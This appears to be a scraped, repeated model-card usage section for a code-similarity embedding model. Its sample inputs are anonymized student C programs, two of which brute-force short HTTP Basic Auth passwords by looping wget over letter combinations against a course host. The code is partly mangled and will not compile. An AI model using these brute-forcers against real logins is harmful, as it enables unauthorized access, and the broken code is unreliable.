./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" 